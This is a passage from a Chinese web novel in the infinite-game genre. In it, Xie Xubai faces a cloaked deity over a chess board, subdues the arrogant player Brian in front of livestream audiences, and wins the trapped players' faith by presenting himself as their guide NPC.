“你命令我撤退?你是不是忘了我有很多棋子?”斗篷人差点气笑,隔空哗啦啦抓出来一把黑棋,“现在轮到我落子了,可你哪来的第二枚棋子?凝聚出一枚棋子就让你要死要活,你——” ta承认自己有逼迫谢叙白和ta一样炼尸成棋的想法,却没想到对方会决绝至此。 是ta疏忽漏算。 但谢叙白一个临时起意、初次炼棋的新手,哪儿来的自信能和ta抗衡? 谢叙白淡淡地看ta一眼,只见他袖口一动,一枚圆润的白棋从里面飘了出来。 他轻声说:“谁说我只凝聚出一枚?” 应召着他的言语,又一枚白棋从袖子里慢悠悠地飘了出来。 谢叙白抬眸:“要猜猜有多少枚吗?” 斗篷人盯着谢叙白看不出装了多少棋子的衣袖,活像见了鬼。 那淡然的表情如同化作巴掌,猛一下将ta的脸抽得生疼。 斗篷人脸上掠过一瞬的扭曲,似乎不解到了极点:“你怎么会?” 谢叙白:“反正都是要疼的,一次疼完,干净利落。” 他看着斗篷人的眼睛,气势稳重淡雅,不疾不徐地说道:“如果你想要一口气落完子,我奉陪到底。我也很好奇自己现在的战斗力如何,和你的那些棋子相比,又有几分胜算。” 天底下,大概再没有人能够像谢叙白这样,平平静静的,就把“我俩不知谁输谁赢”说出“你一定会输”的气势。 未免太过妄自尊大! 斗篷人心头火起,但反问的话尚未开口,就被似有预料的谢叙白截断。 不需要大吼,不需要愤怒地提高音量,不需要大鹏展翅般表现自己的能力。 只需要不卑不亢,气定神闲,淡淡地说一句。 “落子吧。” 那股由内至外的气势,就足以震慑住所有嚣张的气焰。 ——鹿死谁手,多说无益,落子见真章。 斗篷人:“……” ta精心挑选收集来的棋子,无疑很强大。 但和谢叙白对打,老实说,ta……没有完全的把握。 瘦长鬼影能在布莱恩的攻击下毫发无伤,是因为规则,可谢叙白分裂精神体制造的棋子不会受到限制。 谢叙白算对了一点,先损失十枚棋子的人会输。 所以斗篷人不会轻易落子。 不落子,让黑白两颗棋子胶着下去,理论上不是不可以,反正谁都干不死谁。 但谢叙白看着温温和和,却是个狠的。 一个人类,有着让邪神都惊艳且自愧不如的毅力。 这样的人能和ta斗到天荒地老,再找到玉石俱焚的办法。 斗篷人忍不住仔细观察谢叙白的表情。 分裂灵魂这么痛苦的事情,一个人类,渺小的人类,怎么可能若无其事? ta看着谢叙白仍旧冒着冷汗的脸,看着他的指尖因疼痛止不住的颤抖。 看着谢叙白的眼睛熠熠生辉,即使忍受着难以想象的疼痛,也亮得可怕。 那是一种哪怕粉身碎骨,血肉散尽,依旧坚硬若磐石的意志力。 是贯穿灵魂的不屈。 斗篷人一时失语,随后皮笑肉不笑地扯了扯嘴角:“行,棋局慢慢下才有意思。” 同时眼睫毛几不可闻地颤一下,垂落半分。 似避其锋芒,似甘拜下风。 * 被瘦长鬼影放出的阴影逼至绝路,玩家们再度陷入绝望。 可就在这时,张牙舞爪的阴影又潮水般退了回去,并且毫无征兆地消失了! 真的消失了!不是他们眼花! 玩家们不确定是不是系统的恶趣味,比如在他们心生希望的时候让瘦长鬼影突然出现,让他们彻底绝望。 他们警惕地在原地等了好一会儿,直到看见丝丝缕缕的金色线条不知从何处涌来,在半空中勾勒出一个清瘦俊雅的人形。 散发出来的气势,神圣、庄严且不可侵犯。 其他洲区的观众觉得中洲区的观众疯了。 在金色线条勾勒出一张清晰的脸出来后,寂静的中洲区观众席忽然爆发出山呼海啸般的呐喊声。 那阵仗大得仿佛能掀翻整个直播大厅,每个人都声嘶力竭,满脸涨红,有人甚至激动得哭了出来! 尤其这种现象还会传染。 当直播厅其他分区的中洲观众,不明所以地跑过来询问是怎么回事后,不出意外,十秒不到,就会加入欢呼的人群,跟着一起激情兴奋地呐喊! “谢叙白!!是谢叙白啊啊啊啊啊啊!!” “我男神!我老公!我的神明啊!!” “祂真的出来救我们了!!!” 外国观众觉得自己刚才都挺嚣张疯狂的了,但和这些中洲区观众一比……上帝啊,他们不会真的疯了吧? 谢叙白到底是谁? 副本内。 迎着所有中洲区玩家激动崇拜的目光,面无表情的谢叙白,忽而温雅柔和地笑了一下。 这一笑如雕如琢,如珪如璋,便是天地也要为其黯然失色。 于是中洲区玩家和直播屏幕外疯兔般的观众齐齐呼吸一滞,捂着小鹿疯撞的心口,浑身血液急速喷张,恍恍惚惚地想,自己现在真是死都值得了。 再然后,他们看见谢叙白朝布莱恩走了过去。 布莱恩被瘦长鬼影折磨得伤痕累累,冷不丁看见有身份不详的人朝他靠近,第一反应是攻击。 雷霆若利箭而出,袭向谢叙白。 眼镜男徐队长简直要疯了,从来没有这么愤怒过——布莱恩这个二愣子居然敢攻击他们的神,他X的是不是活得不耐烦了! 徐队长刚冲出去要为谢叙白挡住攻击,岂料一股金光拦住他。 再然后所有人看见,雷霆像是被无形的屏障挡住,没能挨上谢叙白的衣角,就如冰雪消融在空气中。 就像斗篷人带着嘲弄意味的那句话。 ——“你什么时候见过棋子被棋盘杀死的。” 谢叙白以身入局,化为棋子,除了斗篷人的黑棋,这个棋盘世界中,谁对他的攻击都无效。 可玩家们不知道这件事。 他们所看见的,只有谢叙白自然而然地往前走,若闲庭信步,什么都没做,仅是一个淡然的眼神,便化解掉了神级玩家的攻击。 布莱恩都要绝望了。 自从契约神明以来,他就再也没有体会过这样挫败的感觉。 “你是什么人,你要做什么!?”眼看谢叙白一步步走近,像被步步紧逼穷途末路的狮子,布莱恩色厉内荏地呵斥,颤抖不稳的手掌却暴露内心,深深地抓住土地,“你想杀了我?!” 不止布莱恩有这样的误会,徐队长也觉得是布莱恩太嚣张,谢叙白准备教训对方。 他没有意见,非常畅快,扬眉吐气,乐见其成。 只是想要告知对方一件事,也直觉这件事不能隐瞒。 “谢……先生!”总觉得直呼其名不太尊重神,徐队长喊出先生。 谢叙白闻言转头。 徐队长顿了顿,如实陈述:“布莱恩其实……不算坏人。刚才那怪物袭击我们,是布莱恩将大家震开,让不少人幸免于难。他的队友也用道具保护了我们。” 就在之前,布莱恩第一次用雷电将瘦长鬼影碾成灰烬,周围一圈玩家都被炸飞,徐队长以为那些人被波及死去。 谁想到,第三分队的成员飞快赶到被掀飞的玩家身边,发现他们在雷电的轰炸下,最严重的也只是皮肉开裂,用治愈道具分分钟就能治好。 连瘦长鬼影都能轰成渣的力量,自然不可能制造成这样的皮外伤。 结论只有一个——是布莱恩控制了力量,将快要完全玩偶化的玩家们推开。 另外,在布莱恩唤来雷暴之前,黑人少年其实没必要特意提醒他快跑,但他还是提醒了。 事后少年和队员使用道具填补屏障,帮大家一起抵抗雷击,心口不一的做法实在出乎人意料。 徐队长不是为这队人说情,他没忘记刚才布莱恩恃强凌弱,逼迫他们签订死士契约。 只是巅峰全体着重了解过谢叙白,徐队长觉得这位温柔善良的神祇,很看中人的心性。 神级玩家稀少,是强大的助力,与其杀掉,为什么不将其收服?若有异心,再杀也不迟。 徐队长说的那些事情,谢叙白知道。 如果不是知道布莱恩只是刚愎自用,而非轻视人命,谢叙白出现的一瞬间,就会解决掉这匹磨刀霍霍向人类同族的害群之马。 哪怕布莱恩是神级玩家,杀掉他会招惹欧美玩家的仇恨。 “听到了吗,布莱恩?” 谢叙白淡淡地睨向淡金发壮汉:“如果没有你口中‘弱者’的求情,你已经死了。” 不需要翻译技能,他的话会自动转化为对方能听懂的意思。 半秒不到,布莱恩想起自己居高临下对徐队长说出的那句话:“弱者服从强者,是常识。” 他愤怒地瞪大眼珠子,看向谢叙白。 谢叙白是典型的东方人长相,美若星辰俊如皓月,气势极度符合《诫子书》中提到的“非淡泊无以明志,非宁静无以致远”。 就像语文书里的君子云淡风轻地走到面前,中洲区玩家很容易一眼心动,当场化身尖叫鸡。 但这样的长相,其实并不符合外国人的审美。 他们通常觉得男人应该雄壮粗犷,浑身肌肉,五官轮廓要深邃立体。 而谢叙白,脸太小,身板又太瘦,弱鸡似的。 可布莱恩看着谢叙白如同拂去尘埃般,轻松化解自己的攻击,淡然的眸子自高处往下睥睨着他时,竟不受控制地慌张低头,生出退让的想法。 谢叙白不要布莱恩的命,但也不希望他坏事。 让神级玩家和普通玩家讲人权是不可能的,睥睨神祇的力量早已让他们忘乎所以。 纵观这一个试炼场,或许只有自己能镇得住这头傲慢的狮子。 是以谢叙白伸出手,勾住布莱恩的下巴,迫人抬头直视自己的双眼,目光仍旧淡淡的。 “你认为弱者该服从强者,是吗?” 很久没被人这样无礼对待过的布莱恩,峰峦般的眉毛一皱,想爆发。 但或许是伤得太重,瘦长鬼影那一下几乎切开他半个心脉。或许是他的骄傲,在今天被碾得太碎。 在谢叙白不带波澜的眼神注视下,布莱恩咬牙切齿,狼狈地吐出一个字:“……是。” 谢叙白:“那你又认为,我和你谁是弱者,谁是强者?” “……”仿佛被踩着脸侮辱,布莱恩脸颊涨红,鬓角青筋暴跳,牙关都颤抖了起来。 “告诉我,谁是?”谢叙白捏着他的下巴,冷白指尖往下滑落,轻轻点在布莱恩的喉咙,尾音轻挑地问,“嗯?布莱恩。” “……!!” 致命部位被触及,布莱恩浑身一震,呼吸急促。 同时心率加快到让他头晕目眩的地步。 他在谢叙白身上感受到和瘦长鬼影一般的压迫感,似乎他再不回答,谢叙白就会让他再狼狈一遍。 这个猜想,和谢叙白捏着他下巴的力道,和那谑然的眼神一样,化为熊熊火焰炙烤着布莱恩的自尊心。 终于在某一刻,他熬不住了。五大三粗的金发汉子猛然闭眼,破罐子破摔,丧家犬一般大吼:“你是强者!” “乖孩子。”谢叙白还是没有什么表情,光晕在指尖凝聚,化作项圈套住布莱恩的脖颈——只有这种控制住致命部位的束缚,才能让桀骜不驯的狮子学会收敛。 这一举止成功让布莱恩震惊至极,羞耻恼怒得快要炸了锅:“你!!” 迎着布莱恩瞪大的眼珠子,谢叙白漫不经心垂睫,仅是一眼,就让布莱恩把所有要出口的话语都硬生生地哽在了喉咙口。 他轻轻地笑了笑:“时刻谨记,对我服从。” 没有再理会脸色一阵青一阵白的金发雇佣兵,谢叙白转过身,风度翩翩地看向在场所有玩家,微笑宣布。 “各位好,很高兴与大家见面。我是你们这次试炼副本的指导NPC,谢叙白。” 第176章 这又是从哪儿知道的…… 布莱恩濒临崩溃之际自暴自弃吼出来的那句话,不亚于当场认输,也轰然砸碎了以他为傲的支持者们的自尊和脸面。 外国观众们的神色变了又变。 有的人不敢置信,有的人脸色黑沉得快要滴出水来。 压抑到极致,众人的情绪倏然爆发,怒气冲冲的骂声震天而起,排山倒海。 “你在干什么布莱恩?!你居然对着一只猴子认输??” “回家吃奶去吧!” “你可是雷神!雷神!” “站起来啊布莱恩!给他一拳头!!” 那些恨铁不成钢的话,在看见屏幕里的布莱恩只是一个劲儿地攥着拳头低头不语后,全部变成了恶毒的侮辱性词汇。 观众们目眦欲裂,狰狞怒骂,失望透顶。 前面推崇布莱恩的时候有多疯狂热烈,现在就有多恨不得他去死。 巅峰的技术分析小队隐藏在观众席。 一名刚重生的新人头次见到这疯魔的状况,被吓了一跳,拧着眉头一言难尽:“其他洲区的观众都这么二极管?” 是个人都该知道一山更比一山高,认清个人力量的极限。 就算布莱恩实力总榜第六,那往上还有五个人压着他呢! 怎么那群人一脸“只要布莱恩认输就该被千刀万剐”的表情? 布莱恩是神级玩家没错,但谢叙白可是一名正儿八经的神明,这群人该不会认为,只获取部分神力的布莱恩,可以赢过神吧? 旁边的组长并不意外,摇了摇头:“自食恶果罢了。” 即使世界都要毁灭了,那些政客也没忘记利益之上,在无限游戏沿用他们一贯的方针:垄断知识渠道,封闭向上通道,把普通民众死死地压在最底层。 举个比较离谱的例子。 每个洲区都有试炼池,一旦有人顺利通过首通试炼,该副本就会被永久地投入试炼池,供所有玩家参加训练,提升等级、锻炼能力、获取积分奖励和道具。 没有任何条件门槛,有命就能参加。 但不久之后他们才知道,包括美洲在内的一部分洲区,玩家进入试炼池,居然要收【门票】。 系统都没要求支付的门票,他们居然上赶着收上了。 不仅如此,他们还要求玩家将副本中得到的积分上缴50%作为税款。 理由是:在这个混乱不安稳的诡异世界,民众还能正常安乐地生活,不被其他洲区的暴徒残害,全都要依仗美洲军队的保驾护航。 这一举动在当初自然引起了大多数民众的不满,很多人聚集起来游街抗议。 玩家空间不允许使用技能,不能伤害玩家。 但系统规定的“伤害”定义很宽泛。 宽泛到就算强行把人拉入试炼,只要在玩家空间的地界,不造成生理上的实质伤害,就不算犯规。 那些丧心病狂的上位者,就利用诸如此类的系统漏洞来捍卫自己的权威。 反抗的声音没有变小,愈演愈烈,像是得到了政客们不屑一顾的放纵。 那些声音也随着时间的流逝,随着一些似有若无的引导和暗示,被口头化,被平常化,变成了时常挂在外洲玩家嘴边嬉皮笑脸的口嗨。 他们可以无所事事地聚集在一起,义愤填膺地骂。 “早晚有一天干死那个XXX!” “看看那些肥头大耳的官员,个个拿缴税人的钱把自己喂得满嘴流油,却让我们嚼烂草叶子!” “让他们把嘴里的积分都吐出来!” “那是我们的积分!” 但是,如果真的有一个人掏出武器,满脸严肃认真,义正言辞地问他们要不要干一票大的。 那些人只会瞬间脸色大变,惨白着脸怒骂ta:“你是不是疯了?” “你有病吗?!” “不要命了吗?!” “你X的想死别拉上我!” 然后飞速断绝关系,避如蛇蝎,逃也似的离开。 不出半个小时,就会有荷枪实弹的美洲军队接到密报,过来抓人。 可想而知,在这样扭曲窒息的氛围下,外洲玩家的情感会有多么病态。 为了纾解民众的情绪,不让他们真的病态,产生大范围负面影响,三大公害“应运而生”,并作为利益创收项目开始盛行。 而在这样乌烟瘴气的基础上,美洲政客们还需要一个明晃晃的靶子,来帮助他们顺利隐于幕后,吸引火力。 于是许多个类似布莱恩这样强大的玩家,被官方隆重冠以“英雄”之名,又被推到大众的面前。 并不是说政客统治一切,外洲玩家里没有真正的英雄。 布莱恩也确实救下过很多人。 但当一个从始至终被官方标榜为“神”的英雄,向“罪恶势力”低头俯首。 当看到自己贡献出大半真金白银(积分)去鼎力支持,甚至可以被称之为信仰替身的英雄从神坛跌落。 可想而知,民众会有怎样激烈的反应。 不管布莱恩他们对自己资本傀儡的处境有没有清楚的认知,他们都实实在在地享受到了资源倾轧的福利和民众的大力推崇,是妥妥的受益人。 所以知情人也只有叹息一句孽力回馈。 “组长,果然有问题!” 身后传来技术队员的声音,刚刚得知的消息让他愤懑难抑。 “我们监察其他外洲主播的直播间,发现部分联盟组织成员,也和布莱恩一样,在遇到其他洲区玩家的时候强令他们签订死士契约。” 布莱恩会要求玩家签订死士契约,这件事从一开始就非常奇怪。 熟悉布莱恩的人都知道,这个从未尝过败绩的家伙,已经自负到认为“只要有人在他身边呼吸,就会拖他后腿”的地步。 让玩家成为死士,给他当挡箭牌,他更可能嫌弃玩家挡路,影响他正常发挥。 所以答案很明显。 估计又是联盟那边的政客上位者,暗中使绊子,要求麾下的成员打压中洲区。 这种明目张胆的真小人作风,真的是……一点都不让人意外啊。 技术组长嘴角抽了抽。 所以布莱恩也不算冤枉。 看看刚出炉的数据统计名单,虽然联盟下达了这种离谱的要求,但不是所有人都和布莱恩一样没脑子。 理性观望的主播不在少数。 还有很多联盟成员,直接将上级的吩咐抛到脑后,主动热情地递出橄榄枝,选择和其他洲区的玩家联手。 这才是正常的大部分玩家。 布莱恩刚愎自用,非要跑出来撞到枪杆子上,落到这种境地,又能怪谁。 技术组长突然想起什么来,凝重地询问组员:“【使徒】那边有什么动静吗?” 比起被拉出来充当标靶的【英雄】小队,直接参与到欧美洲区决策层的【十二使徒】更让人忌惮。 那名记录【9】,正是【十二使徒】公会的会长。 “暂时没有。” 负责监察【使徒】的人员说。 “【使徒】的成员这次分成好几组参加试炼,有的人没有开启直播,需要从其他直播间寻找他们的踪迹,大概花费两小时能找到。” “至于记录【9】,他进入副本后直接开诚布公,告诉所有人自己的身份,包揽了临时指挥的位置。” “不过其他洲区包括我们的人都被他一视同仁,没有穿小鞋或各种意义上的打压。” “也没有争斗、冲突、诋毁、吵闹。本来有几个想闹事的刺头,和【9】说过几句话后就收敛了,被【9】温柔引导着一起发誓要‘爱护世人’,到现在为止连句脏话都没说过,氛围很友好。” 组员面露迟疑:“就是……” 就是好得过了头,让人隐约有点毛骨悚然。 —— 中洲区观众席,自从谢叙白出场之后,激情高涨的氛围就一直没有消减下去。 当看到谢叙白威胁性地将项圈套在布莱恩脖子上后,席上更是人声鼎沸,群情激昂。 那激动的叫声,如同利箭扎穿布莱恩粉丝们的心,让他们更觉屈辱丢人的同时,也恼羞成怒起来。 给人的脖子上套项圈,这是欺辱!是看不起人!是对人权的蔑视!应该被制裁,被唾骂! 看啊!中洲人果然都是一群阴险狡诈的暴徒!是天性狠毒的恶魔!他们喜欢把侮辱人当乐子,现在肯定得意的不行! 不信的话,就去听—— 外洲玩家看向“欢呼雀跃”的中洲区玩家,几乎心死成灰地开启翻译器,却听到他们七嘴八舌地大骂: “我(哗——)!” “这个黄毛凭什么?” “家人们我破防了,我也想要男神的项圈,为什么是他得到了?QAQ” 众所周知,谢叙白责任感十足。 但凡是和祂扯上点关系的,不管是好是坏,遇到危险,祂都不会冷眼旁观。 那不仅仅是一重约束,更是保命符,怎能不让人艳羡嫉妒。 “想不通啊,难道谢神喜欢壮一点的?” “壮什么壮啊,手臂都比小腿粗了,只要健过身的人,都知道这种肌肉比例非常不健康,谁知道是不是用劣质增肌道具堆出来的。” “而且听说他们那边的人不爱洗澡,毛多,体味很大啊。” “脸也长得跟外网奶油小生似的。”那人非常嫌弃,哪儿哪儿都对布莱恩看不顺眼,“肯定用道具整容了!” 外洲粉丝:“……” 虽然但是。 布莱恩是公认的帅,欧美混血,国际雇佣兵出身,雄性荷尔蒙十足。 刚进游戏时就是这张脸,不存在整容的可能。 还有体味什么的,这骂得没道理吧?他们又不是不洗澡! 而且神级玩家经过好几次的淬体强化,基本不再需要分泌汗液排毒散热,哪里来的味道? 外洲粉丝为中洲区玩家不可理喻的诋毁火冒三丈,但仔细想来,又总觉得哪里不对劲。 要是认认真真地去解释布莱恩的脸,是纯原生态的英俊,那就更古怪了。 现在是追究这个的时候吗? 这是重点吗? 也是这时,终于有名中洲观众忍无可忍地站起来,竟是在维护布莱恩:“你们说够了没有?那个黄毛不可能有你们说的那么不堪!” 外洲观众:虽然叫“黄毛”很不礼貌,但是说得好!布莱恩再怎么说都是被他们票选出来的美…… 这名观众震声:“因为谢神的品味不可能那么差!!!黄毛就算现在没用以后也一定会有用的!” 谢叙白做的一切都有祂的深意,不接受反驳! 外洲观众:“……” 外洲观众:“???” * 斗篷人料到谢叙白会现身,但没料到他会顺杆子往上爬,自称是玩家的指导NPC。 原本有ta派出瘦长鬼影对付玩家在前,谢叙白只要出来走一个过场,恰到好处地安抚几句,露露那堪称魅魔的笑脸,形成强烈对比,就能拉到不少玩家的好感度。 他偏不。 偏要参与其中,试图主导一切。 野心十足。 就是不知道有没有这个本事。 这次的副本中,可没有那些把他当成眼珠子珍惜疼爱的亲友团。 一瞬间ta的表情啼笑皆非,看好戏般凝视谢叙白:“我倒要看看你接下来准备怎么办。” 瘦长鬼影虽然带来死亡,却也是玩家们的提示。 它才是黑塔第一层真正的引导NPC。 只要变成玩偶的玩家,堆满它手中的推车,完成收集任务的瘦长鬼影就会停止杀戮,带领玩家取得参赛资格,参加“黑王的游戏”。 被分配到每个副本中的玩家,开场的初始人数是一百五十人,而瘦长鬼影只需要收集六十个玩偶,少说有一半的人能够活下去。 而现在,没有瘦长鬼影带他们前往关卡要点,就算所有人都活着,又能怎么样? 游乐场被鲁莽的布莱恩给毁了,大半线索在雷暴中堙灭,他们连完整的规则都拼凑不出来。 副本里的玩家们也在小心翼翼地询问谢叙白:“谢神,我们接下来该往哪里走啊?” 谢叙白看了一眼天色,语气没有一点迟疑滞涩:“你们现在只是受邀而来的客人,还不能作为游戏者直接参加黑王的游戏,需要先取得参赛资格,再找到火车站进入游戏王国。” 斗篷人的笑容骤然僵在了嘴角。 谢叙白长天眼了? 这又是从哪儿知道的?? 第177章 谢大忽悠 此时此刻,心怀疑虑的人不在少数。 但玩家们不是质疑谢叙白话里的真实性。 先不说谢叙白刚刚才救了他们,就说前几次副本,哪一次谢叙白误导过人?多的是好心救他们于水火,帮他们通关试炼。 遇到这种好神还要质疑祂是不是有别的险恶用心,未免也太没良心了吧。 最关键的是,凭谢叙白的实力,想害人只需要一个念头,哪儿用得着这么麻烦。 当即有玩家顺着“黑王的游戏”、“参赛资格”等关键信息陷入深思。 黑王是这次副本的boss吗? 拿不到游戏资格是不是必死无疑? 他们想要追问更多线索,俊美无俦的年轻神明却果断地摇了摇头:“这是你们自己的试炼,过于依赖外物投机取巧可不行。” 见玩家不解,谢叙白神色凝重地解释道:“必须要付出代价才能获取线索,这是既定的。但我的出现打破了这一定律——你们都还活着,这大大出乎了那些家伙的预料,也让ta们很不高兴。” 谢叙白说:“为了你们的安危,接下来我不会经常出现,也不会给出过多的提示。” 那双澄澈如浩瀚星河的眼眸抬起,依次扫过每一名玩家,像湛蓝辽阔的天空将他们温柔包容,忽而垂了垂眼睫,无奈中透着显而易见的歉疚。 “身为你们的指导NPC,却不能给出更多的线索。”谢叙白轻声说道,“我很抱歉。” 什么情况,祂在愧疚? 还在分析信息的玩家们,心脏猛一下揪紧。 谢叙白的语气,就好像祂其实知道所有的内幕,也知道玩家将要面临什么危险。 却碍于某种规则或限制,不能将其直接尽数告知,也不能明目张胆地施加帮助。 明明是无限游戏想要杀死玩家,让玩家陷入困境,和祂没有半毛钱的关系,但心地善良的祂还是会为此内疚自责。 立马有人心疼得不行:“这根本不是你的错,你为什么要怪自己?” “是啊,您根本不需要道歉!” 不等谢叙白回答,又有一人跨步上前:“恕我再多嘴问一句,指导NPC的身份……是不是您主动争取来的?” 这话他问得很没底,毕竟谢叙白一个正儿八经的神明,怎么会纡尊降贵来当一个小小的指导NPC? 但他仿佛被见到偶像的激动冲昏了头脑,那氤氲着自责的眼神更叫他心碎如焚,迫切地想为谢叙白正名。 “……对。” 谢叙白望着他固执期待的样子,顿了顿,不自然地挪开目光,耳根竟是红了一片:“但我有我的理由,并不全然是为了你们。” 在场玩家心神俱震。 果然是这样! 纵观以前的试炼副本,系统恨不得将所有线索掘地三尺藏进去,不都是他们靠反复死人试错方才硬生生堆出来一条生路?什么时候有过指导NPC? 所以这身份必定是谢叙白自己要来的。 至于谢叙白说不全是为了他们。 那不就代表有部分原因就是为了他们吗! 再看谢叙白不好意思和他们对视的样子,居然脸红了!这是一边担心着他们,一边又害羞得不敢承认? 啊啊啊啊啊啊! 他们的谢神怎么可以这么可爱啊! 情绪起伏时,又听到谢叙白轻咳一声,再度弯眸柔和了语气,郑重其事地说道:“不要担心,虽然我的力量多少受到了限制,但如果ta们从中作祟,再派出刚才那样无法战胜的怪物,我一定会像现在一样出面制止。” 谢叙白的力量受限,是因为他作死地将精神体分裂成多份,均摊下来,每个分身能使用的力量自然会被削减。 但玩家们两段话连着听,很容易联系上下文把它们理解成因果关系。 在他们听来,就是谢叙白为了当这个NPC,才会力量受限。 顿时感动得热泪盈眶。 论语言的魅力.jpg “此行艰难,但我知道,能够走到这里的你们一定不会停下脚步,你们很好,很优秀。”谢叙白温柔动人的嗓音,好似江南阳春三月的暖风,一路拂进在场玩家的心里,“加油去吧,我与你们同在。” 说完这话,谢叙白的身体化作丝丝缕缕的金色线条,如他现身时一样圣洁光辉,悄然散去。 即使相处的时间很短暂,不过几句话的功夫,但受到的鼓舞和感动却是深入肺腑。 就算是对谢叙白不太感冒的人,也难免不为此意外动容。 于是水墨空间里的斗篷人,眼睁睁看见那些被忽悠的玩家对谢叙白信以为真,又生成了二十多根信仰线,慢吞吞地连接到谢叙白的掌心。 斗篷人:“……” 虽然颜色浅淡,随时都会消失,但他们都相信了谢叙白是个妥妥的神明。 积累到一定数量,恐怕谢叙白不用升华神格,也能借助海量的信仰登梯成神。 斗篷人为他的不要脸感慨:“你可真卑鄙啊。” 听听谢叙白的那些话啊。 什么叫“你们都还活着让ta们很不高兴”? 玩家又不会在这一层全死光! 还有,“为了你们的安危我不能给出过多的提示”? 那是不能给吗?是根本给不出来才对吧!要保持神秘,怕露馅,才不敢和玩家随行! 可巧妙的点在于,就是较真起来,谢叙白的话也几乎没什么毛病。他故意说得半真半假,模棱两可,哪怕之后被揭穿,也很大的余地去自圆其说。 斗篷人幽幽地说:“真不知道那些推崇你的人看见你现在的样子会怎么想。” 谢叙白早已恢复云淡风轻的表情,刚才展露在玩家面前的含蓄羞赧荡然无存。 其实从医院副本出来之后,他就很少笑了。 但这事只有谢叙白一个人知道,因为面对裴玉衡他们时,他都能发自内心地笑出来,也能看情况调整出无数个让大家都安心的笑。 唯独一个人独处的时候,没法对着自己弯起嘴角。 听到斗篷人的感慨,谢叙白微微扬眉,那股淡然的气质愈发幽深,乃至于有点冷:“我从来没说过自己是个正直磊落的人。” 他早在孤儿院时就知道用甜言蜜语换来大人格外的关注,小学无师自通地学会琢磨人心,加以引导。 初中有人因他无父无母想要霸凌他,他没有揭发,反而激化矛盾以此捏住对方的把柄,威胁那人给他当了四年的保镖。 高中更是会用非常手段夺回被抢占的奖学金。 因为谢女士身体力行地在他的心中铭刻下诸多不能逾越的原则,所以谢叙白始终坚持底线,不会堕落变坏。 但他没那么好,至少没宴朔他们认为的那么好。 斗篷人眉梢一动,缓缓地扯出一个怪异兴奋的笑:“我猜你已经想起自己最初是个什么样的人了,是不是?” 是最初的最初,一切循环重生都没有开启的最初。 也是没有谢语春恰逢其时地收养他、没有和宴朔相遇、没有认识平安他们,只作为一个幼年失孤的普通人努力活着的最初。 无依无靠的路途,雨打浮萍的人生,阴沉沉,灰蒙蒙,遍布泥泞。只有崎岖,没有安宁。 被ta这么一激,谢叙白没有反应,很平静。 人真的能将过去的伤痛完全抛之脑后吗? 斗篷人直勾勾盯着他专注琢磨棋盘世界的眼睛,半晌,兴奋消失,讥讽凉薄地抽了抽眉毛。 ——或许现在的谢叙白真的不在意。 这个人漠视自己的一切,甚至是性命。 他会救所有人,唯独丢下自己。 谢叙白沉吟一会儿,目光从棋盘上抬起,忽然道:“你似乎很疑惑,我为什么能向玩家给出正确的指引。” 斗篷人的眼神比之前更危险了,像毒蛇看青蛙一样凝视着他,双手交握抵住下颚,不意外他这么说,只是轻飘飘地问:“交换条件是?” ta还是很了解谢叙白,知道自己现在特别招人厌。 对方但凡愿意开口接ta的话,一定想要从ta的身上获取什么。 谢叙白对上ta的眼睛,平静的目光犹带三分威慑力:“条件是你也要如实告诉我,你是谁。” 斗篷人咧了咧嘴,脸上没有一丝异样,除了那疯魔般的笑容:“好啊——” * 另一边的玩家拿着为数不多的提示,也很头秃:“到底要怎么获得游戏资格?” 想找找有没有什么线索,抬头一看,只有一片狼藉,满目废墟。钢筋铁管裸露在外,被烧焦的大地硝烟弥漫。 淦。 众人心里悲痛咆哮。 这还找个屁的线索啊! 被无数人投来责怪的目光,骄傲的脏辫少年很是不自在,恼怒地攥起拳头,电流凝聚:“看什么看?” “阿萨!”为布莱恩医治的同伴满头大汗地叫住他,在队内语音焦急道,“布莱恩的情况很危险……你不要和他们起冲突!” 什么? 阿萨一惊,连忙蹲下身查看布莱恩的情况,看到的一幕却让他骇然生畏。 只见布莱恩的胸口被掏出一个偌大的窟窿,血淋淋的皮肉被撕扯外翻,肋骨裸露,能清晰看见里面的心脏被刮破大半! 要不是布莱恩有契约神力护体,换成一般人被伤及心脏,现在早就死了! 可布莱恩的伤势怎么都愈合不了,无论是用技能还是道具。 同伴在队内频道中说:“他的伤口处有一团黑雾,这团黑雾让我们没法治愈他!” 阿萨想到黑雾应该是瘦长鬼影留下的诅咒,宛如被人从头泼下一盆冰水,寒意浸透全身:“那该怎么办,布莱恩这样下去会不会死?” “不,暂时不会……” 同伴手指向布莱恩脖颈的项圈,阿萨看见项圈散出半透明的金光,似缥缈的绸带延伸到布莱恩破碎的心脏,和黑雾分庭抗礼。 同伴复杂地说:“现在来看,似乎是那名神秘人给出的项圈勉强让布莱恩的伤势没有继续恶化。我们必须尽快找到办法化解黑雾诅咒,不能再和他们起冲突。” “特别是你,阿萨,为了布莱恩,你必须控制住自己的脾气,我们需要他们的帮助。” 阿萨抿紧嘴唇。就在这时,布莱恩似乎浑浑噩噩地听到他们的谈话,小幅度地动了一下。 同伴们紧张地问:“布莱恩,你怎么样?” “没事。”布莱恩嗬嗬地喘上一口气,咬牙坐起身,青筋鼓起,扯来绷带,死死缠住被开洞的胸口,“死不了。” 撕心的疼痛折磨着神经,布莱恩手指疯狂痉挛,无意中触碰到项圈散开的金光,柔和的暖意似能镇痛,他的意识清明了一瞬。 联盟话事人的叮嘱在耳边回荡。 “布莱恩,我建议你进入游戏后让其他玩家签订死士契约。” 布莱恩记得自己当时很震惊:“为什么?” 外面是白天,但办公室很暗。话事人的表情半数隐于阴影,显得格外沉重:“你还没看清楚这个艹蛋的世界吗?每个人都变得很自私,他们随时可能为了活下去将枪口对准自己的同伴,特别是那些阴险狡诈的中洲人,他们经常见钱眼开,背信弃义。” 布莱恩嗤之以鼻,很是倨傲:“那我也不需要,如果有人敢做小动作,我会在之前干掉他们。” 话事人无奈地看着他:“不,你想得太简单了布莱恩。就算你有信心应对所有的突发情况,你的同伴可以吗?” 布莱恩陷入沉默:“那可以签其他契约……” “不,我们证实了玩家不会意识到自己会被邪灵蛊惑。只有签订死士契约,才能保证身边的人永远不会背叛你,如果他们有什么异常,你也能第一时间发现端倪,制止危险发生。” “为你在意的人考虑一下吧布莱恩,你的父母和妹妹还在等你救命。” 布莱恩几乎被他说服了。 心想反正他不在意其他玩家的想法,也不可能和他们合作,签完契约把他们丢一边保证不会捣乱就行了,试炼结束后再把契约解除,什么影响都没有。 现在看来,这种想法何其傲慢。 他栽了个大跟头,差点就死了。 布莱恩嗓音沙哑地说道:“进入试炼前,我去找过【占星师】。她说我这一次会很快遇到死劫,如果侥幸没死,就代表有人替我挡下一劫,最好听从那人的指引。” 